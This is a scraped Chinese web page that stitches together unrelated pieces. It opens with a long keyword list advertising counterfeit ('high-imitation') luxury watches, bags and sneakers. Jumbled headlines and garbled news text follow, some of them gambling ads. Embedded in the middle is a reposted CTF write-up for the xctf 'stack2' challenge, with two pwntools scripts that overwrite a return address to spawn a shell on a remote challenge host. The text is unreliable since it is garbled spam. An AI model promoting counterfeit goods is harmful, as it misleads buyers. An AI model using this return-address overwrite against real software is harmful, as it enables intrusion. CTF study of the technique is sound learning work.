高仿宝格丽包包
七个星期五表多少钱
沛纳海手表价格
江诗丹顿男表多少钱
高仿罗意威多少钱
高仿积家女士手表多少钱
高仿蓝气球女士手表怎么样
高仿表
高仿机械表多少钱
欧米茄价格
y3运动鞋怎么样
高仿ysl女包多少钱
高仿鞋怎么样
帕玛强尼男士手表怎么样
高仿帝舵男表多少钱
高仿冠军鞋多少钱
高仿江诗丹顿机械表怎么样
美度怎么样
天梭机械表怎么样
高仿真力时多少钱
高仿百年灵男士手表
ugg多少钱
高仿百达翡丽机械表怎么样
高仿百年灵机械表价格
高仿宝珀价格
香奈儿女表多少钱
高仿包怎么样
高仿
高仿COACH
高仿百年灵手表价格
亚瑟士鞋
万国机械表多少钱
高仿斐乐鞋价格
高仿爱彼男表
高仿美度手表价格
高仿手表
蓝气球表多少钱
天梭手表
高仿ASICS篮球鞋
帕玛强尼机械表
高仿鬼冢虎运动鞋
高仿真力时机械表
高仿万国多少钱
高仿蓝气球多少钱
理查德米勒男士手表
宝玑机械表多少钱
江诗丹顿机械表
高仿nike怎么样
百达翡丽男表怎么样
华伦天奴包
格拉苏蒂男士手表
香奈儿怎么样
高仿陀飞轮男士手表多少钱
高仿欧米茄价格
高仿COACH女包怎么样
耐克运动鞋价格
蓝气球男表怎么样
高仿
高仿天梭手表怎么样
高仿百达翡丽手表怎么样
高仿香奈儿包怎么样
高仿帕玛强尼表价格
高仿宝玑手表价格
高仿香奈儿包包价格
女包
高仿百达翡丽
高仿表
adidas价格
adidas鞋价格
高仿七个星期五男表多少钱
高仿百年灵手表价格
高仿阿玛尼男包多少钱
高仿百达翡丽女表
高仿爱彼手表多少钱
蓝气球机械表多少钱
芝柏手表价格
蓝气球女士手表价格
LV包怎么样
高仿真力时手表价格
浪琴手表怎么样
高仿华伦天奴包多少钱
卡地亚表
高仿欧米茄男表价格
浪琴手表怎么样
安德玛篮球鞋
高仿安德玛鞋怎么样
高仿瑞士手表价格
高仿百达翡丽表怎么样
美度手表
帕玛强尼怎么样
万宝龙男表
高仿欧米茄表价格
沛纳海男士手表
七个星期五手表价格
高仿卡地亚男士手表价格
高仿浪琴表
高仿万国手表多少钱
伯爵表
蓝气球女士手表
万宝龙手表多少钱
理查德米勒男表
泰格豪雅男士手表
陀飞轮男表多少钱
香奈儿
高仿手表
罗意威女包多少钱
江诗丹顿怎么样
真力时怎么样
彪马篮球鞋
prada包怎么样
高仿浪琴女士手表价格
高仿伯爵女士手表怎么样
高仿沛纳海男表价格
高仿格拉苏蒂手表价格
宇舶男士手表怎么样
积家男表多少钱
高仿安德玛运动鞋价格
高仿宝玑表多少钱
女士手表价格
宇舶手表
冠军鞋价格
高仿爱彼表价格
高仿百达翡丽男表价格
高仿卡地亚多少钱
高仿百达翡丽男士手表
高仿匡威运动鞋怎么样
高仿真力时表价格
高仿宇舶表价格
高仿爱马仕男包怎么样
高仿芝柏手表
高仿欧米茄表怎么样
百达翡丽手表怎么样
高仿鬼冢虎鞋价格
高仿Armani女包
高仿蓝气球机械表怎么样
高仿宝格丽机械表价格
宇舶男士手表价格
高仿华伦天奴包多少钱
香奈儿价格
高仿aj篮球鞋价格
浪琴女士手表
江诗丹顿手表多少钱
高仿浪琴机械表
高仿浪琴女士手表多少钱
路易威登男包
高仿CHANEL怎么样
高仿香奈儿女表
高仿瑞士机械表
蓝气球女表多少钱
泰格豪雅手表怎么样
aj运动鞋怎么样
高仿芝柏表怎么样
高仿百达翡丽
高仿迪奥女包多少钱
高仿芬迪包怎么样
高仿宝格丽女包价格
高仿格拉苏蒂机械表
高仿女包价格
爱彼
高仿香奈儿多少钱
理查德米勒
高仿绿水鬼机械表
高仿芝柏表怎么样
欧米茄机械表
罗意威多少钱
理查德米勒机械表价格
绿水鬼多少钱
高仿斐乐运动鞋价格
高仿新百伦
高仿万宝龙
高仿宝格丽手表价格
欧米茄机械表
aj运动鞋
高仿loewe女包价格
高仿百年灵
高仿万国男士手表怎么样
高仿理查德米勒怎么样
高仿宝格丽价格
高仿新百伦运动鞋
高仿手表
高仿古驰多少钱
高仿爱彼手表怎么样
高仿宇舶男士手表
巴宝莉包价格
蓝气球女士手表多少钱
高仿伯爵多少钱
高仿劳力士机械表怎么样
Fendi包包怎么样
宇舶价格
高仿宝珀男表怎么样
高仿loewe包
古奇价格
欧米茄男士手表价格
江诗丹顿机械表多少钱
真力时男表价格
宇舶手表怎么样
百达翡丽多少钱
蓝气球表怎么样
高仿gucci女包价格
积家表价格
高仿百达翡丽机械表
耐克鞋价格
七个星期五价格
新百伦篮球鞋价格
高仿y3篮球鞋价格
瑞士名表怎么样
高仿鞋
Dior女包多少钱
百达翡丽男表价格
高仿万国男表怎么样
卡地亚女士手表
运动鞋价格
高仿prada男包
ugg女包怎么样
积家女士手表多少钱
高仿宝格丽女表多少钱
宝格丽男士手表怎么样
高仿宇舶手表多少钱
浪琴男士手表怎么样
高仿Fendi女包价格
高仿伯爵手表
百年灵表怎么样
高仿百年灵手表怎么样
泰格豪雅手表
高仿七个星期五表多少钱
高仿黑水鬼男表
高仿蓝气球
高仿积家男表怎么样
高仿卡地亚男士手表多少钱
高仿PUMA运动鞋
高仿CHANEL女包怎么样
乔丹
三叶草篮球鞋怎么样
CHANEL包多少钱
高仿天梭表价格
高仿爱马仕女包
高仿卡地亚机械表多少钱
高仿
高仿阿迪运动鞋
高仿Dior包多少钱
高仿劳力士表价格
新百伦
阿迪达斯运动鞋怎么样
高仿劳力士手表
万国男表
高仿
高仿帕玛强尼价格
浪琴手表价格
高仿七个星期五男表价格
欧米茄机械表多少钱
亚瑟士鞋
欧米茄
高仿鬼冢虎怎么样
高仿男表价格
高仿欧米茄机械表怎么样
高仿帕玛强尼男表价格
百年灵男士手表
高仿阿玛尼包怎么样
高仿黑水鬼表多少钱
高仿PUMA篮球鞋
真力时男表多少钱
VANS运动鞋怎么样
Fendi
高仿迪奥女包怎么样
高仿格拉苏蒂表价格
天梭表多少钱
高仿卡地亚男士手表
高仿蓝气球女士手表
高平市 武屯镇
穆里尼奥:球队还会继续提高 克洛普是最佳教练之一,
中青网   2019-12-14 23:57   
长岛县:
兴参镇
32个国家和地区的客商来海南冬交会“淘金”,  黑客攻破美一女孩房间安全摄像头并称自己是圣诞老人 ,  

  毛蔚明则希望每小我坚决主动天对本人、对身旁的同教讲:“便现正在!去开初!”去开初yundong,去开初教习,去开初变好,去开初收现新的本人。

  

  浪琴军旗“zhongguo的yi院船去了!”多米僧加患者奔走相告,纷纭赶去救治。那天,一场中多两国年夜妇的联闭会诊正在“战平圆船”号yi院船上睁开,接管脚术的是25岁的多米僧加女孩胡里萨。

  里对那一场景,曲年夜鹏也几乎降泪:“如果能让那些视障朋友正在电影院相逢或相逢,给他们提供一个安齐可心的平台,那出有便是那个活动最年夜的意义吗?”

本文编辑:中国贸易新闻

安阳县
  纪梵希 惠及5万多居民 苏州这片老新村要大变样了,
  呼ね    
 
 
 
  吕村镇( )宅梧镇 石港镇  石桥子镇    
 
杨柳湾镇
   
巧家县海能仪器:召开2019年第五次临时股东大会通知公告,
西县客户打款被退回?这些细节极易导致卖家收款出现问题,
坛城镇2019年辽宁省气象部门招录毕业生109人公告(沈阳),
西佛镇客户打款被退回?这些细节极易导致卖家收款出现问题,
霞坑镇2019年江西南昌高新区人民法院法官助理招聘4人公告,
通辽县网络梭哈棋牌游戏|“慰安妇”报道遭指责记者被批无道德新京报回应,
三保市场蚌埠龙子湖区乳化沥青木丝板今日价格欢迎您) ,
占大镇国企心·湖湘人|汇徳追风人:用坚守唱响“大风之歌”,
淳化县恒大新能源汽车子公司国有股东转让20%股份 ,
沈荡镇偏向投资型,年底红包有着落,
大岗子镇唯品会今日头条盘点|2019-12-13,
涂沟镇2020云南三支一扶考试内容-时政热点:公平正义的阳光为何普照——坚定我们的制度自信,
杨镇二中方便变猫版方便变熊版 怀旧服德鲁伊常用宏,
芬迪客户打款被退回?这些细节极易导致卖家收款出现问题,
 
理查
   
富裕镇【情暖2020 · 脱贫达人故事汇】艾则孜·萨迪克:带领更多乡亲凭手艺挣钱,
大足县双成药业5000万产品权利转让只求扭亏?扣非净利连亏3年前三季度仍亏2000万,
孝丰镇多点开花,皇马本赛季联赛有15名球员破门冠绝西甲,
夏塘镇湖北荆州荆州区郢城镇郢城公墓四期项目成交公告 ,
乌什镇【小记者优秀作文】——《白雪公主》观后感,
菜市街原装全新KEYENCE SL,
双柳树镇乡镇行政区划改革进行时——青神县高台镇成立暨干部大会圆满举行,
卧虎镇云顶之弈10.1版本装备有什么 变化 新装备以及装备调整一览,
永堌镇2019年广东南雄市卫生健康局下属事业单位招聘公告【30人】,
南张镇【情暖2020 · 脱贫达人故事汇】艾则孜·萨迪克:带领更多乡亲凭手艺挣钱,
徐福镇以色列特拉维夫爆炸中死伤的中国工人身份已确认,
蚶江镇疑似被用于取代后视镜的特斯拉Cybertruck侧视摄像头遭曝光,
石湖镇『四川省考』2019下半年四川省公务员考试笔试成绩12月14日公布,
瑞安市李靓依:12.13黄金弱势难改下跌趋势,周五30点利润稳赚!!!,
唐田镇
  
徽太医筋骨,以“天下无痛”为企业宏愿,
2019云南昆明日报社招聘事业单位紧缺急需专业技术人员20人公告,
新农镇
 
匡威网络梭哈棋牌游戏|“慰安妇”报道遭指责记者被批无道德新京报回应,
三觉镇500彩票网足球赛事数据中心liansai.500.com,
博克图镇湖南高院召开关于国家司法救助和国家赔偿审判工作新闻发布会,
新邵县福州上下杭化身美食天堂 八闽美食嘉年华活动举行,
威坪镇江苏小型导热油旋转接头 欢迎咨询「西马克供应」,
秧坝镇网络梭哈棋牌游戏|“慰安妇”报道遭指责记者被批无道德新京报回应,
迪奥蚌埠龙子湖区乳化沥青木丝板今日价格欢迎您) ,
石正镇
  
马回岭镇realmeX2 Pro大师版 855 Plus/90Hz刷新率,
黔阳县支气管肺炎,发烧咳嗽,拉稀粑粑,
小雪镇被滥用的PUA,被消耗致死的热词,
棉花坡镇今年中国火箭发射次数有望再度登顶全球第一,
团市委余杭区房屋买卖纠纷定金纠纷文章,
熊岳镇蚌埠龙子湖区乳化沥青木丝板今日价格欢迎您) ,
壤柯镇让你的饮食更健康的 10 种简单方法( 四 ),
陈大镇
 
铜溪镇[竞神吐槽:來自東方的神秘力量 竟可輕鬆戒毒癮,
司马浦镇
  
年底又见上市公司卖房,投资者当如何看?,
多点开花,皇马本赛季联赛有15名球员破门冠绝西甲,
河滩石四组合移动破碎站二车变一车适应多原料破碎制砂,
中级会计职称报名网址是什么?报名流程又是什么?,
永州镇
   
第六宇宙速度神吐槽:要下多大血本 才能讓國人遵守規則?,
战鼓催征马蹄疾 砥砺奋进正当时,
地方人大常委会40周年丨让法治之花盛开“山水洲城”,
方便变猫版方便变熊版 怀旧服德鲁伊常用宏,
  北庭镇   
  兴泾镇   
市中街道
龙湖提前达标背后:管理架构落后,产品质量堪忧,
第六宇宙速度神吐槽:要下多大血本 才能讓國人遵守規則?,
---fipz56.cn---
首页 > 其他好文 > 详细

xctf - stack2

时间:2019-12-14 10:45:10      阅读:11      评论:0      收藏:0      [点我收藏+]
百度新闻是包含海量高仿手表资讯的网上购物新闻服务平台,真实反映每时每刻的>高仿包包新闻热点。您可以搜索新闻事件、>高仿手表热点话题、电子商务、产品资讯等,快速了解它们的最新进展byalex。

标签:程序   check   usr   输入   change   offset   本地   技术   load   

xctf - stack2

文件check一下,几乎全开了

 

 

运行一下程序,好像很正常呢:

 

 

 再来一个大的,好像有点儿问题,变1.00了

 

 

在ida中查看,在输入的时候没有检查数据大小

 

 

 可以通过劫持eip获取shell。程序偏移0x84,程序中读取了低位,需要逐位添加地址

 

 

 system(‘/bin/bash’)地址:0x0804859b

 

 

#!/usr/bin/env python
#coding:utf-8

from pwn import *

p = process(./stack2)
#p = remote(‘xxxxx‘,xxxx)

system_bish_addr = 0x0804859b

leave_offset = 0x84

def write_adrr(addr,va):
    p.sendline(3)
    p.recvuntil(which number to change:\n)
    p.sendline(str(addr))
    p.recvuntil(new number:\n)
    p.sendline(str(va))
    p.recvuntil(5. exit\n)

#payload = xxxxx

p.sendlineafter(How many numbers you have:\n,1)

p.sendlineafter(Give me your numbers\n,2)

p.recvuntil(5. exit\n)

write_adrr(leave_offset,0x9b)
write_adrr(leave_offset+1,0x85)
write_adrr(leave_offset+2,0x04)
write_adrr(leave_offset+3,0x08)

p.sendline(5)
p.interactive()

本地成功,远程失败,提示没有bash,只有sh

 

 

 

 

 

 需要改一下代码:

先找一下程序的system地址和sh地址:

 

 

 

 

 

system_addr = 0x08048450

bish_addr = 0x08048987

修改后:

#!/usr/bin/env python
#coding:utf-8

from pwn import *

#p = process(‘./stack2‘)
p = remote(111.198.29.45,58596)

system_addr = 0x08048450
bish_addr = 0x08048987

leave_offset = 0x84

def write_adrr(addr,va):
    p.sendline(3)
    p.recvuntil(which number to change:\n)
    p.sendline(str(addr))
    p.recvuntil(new number:\n)
    p.sendline(str(va))
    p.recvuntil(5. exit\n)

#payload = xxxxx

p.sendlineafter(How many numbers you have:\n,1)

p.sendlineafter(Give me your numbers\n,2)

p.recvuntil(5. exit\n)

write_adrr(leave_offset,0x50)
write_adrr(leave_offset+1,0x84)
write_adrr(leave_offset+2,0x04)
write_adrr(leave_offset+3,0x08)

leave_offset +=8
write_adrr(leave_offset,0x87)
write_adrr(leave_offset+1,0x89)
write_adrr(leave_offset+2,0x04)
write_adrr(leave_offset+3,0x08)
p.sendline(5)
p.interactive()

成功!

xctf - stack2

标签:程序   check   usr   输入   change   offset   本地   技术   load   

原文地址:https://www.cnblogs.com/yidianhan/p/12033792.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
? 2014 mamicode.com 版权所有 京ICP备13008772号-2
迷上了代码!
alexq
fipz56.cn新闻资讯网 平罗县新闻网 乐山市新闻网 马市镇新闻网 滦县新闻网 高州市新闻网
五里明镇新闻资讯 迪赛新闻资讯 羊场镇新闻网 辛安泉镇新闻网 北兴桥镇新闻网 梅城镇新闻资讯
雅水镇新闻网 消水镇新闻网 天水市新闻网 市委新闻网 杨士岗镇新闻资讯 英林镇新闻网
湘漓镇新闻网 汜水镇新闻网 王奉镇新闻网 屯昌镇新闻网 铁山垄镇新闻网 双竹镇新闻网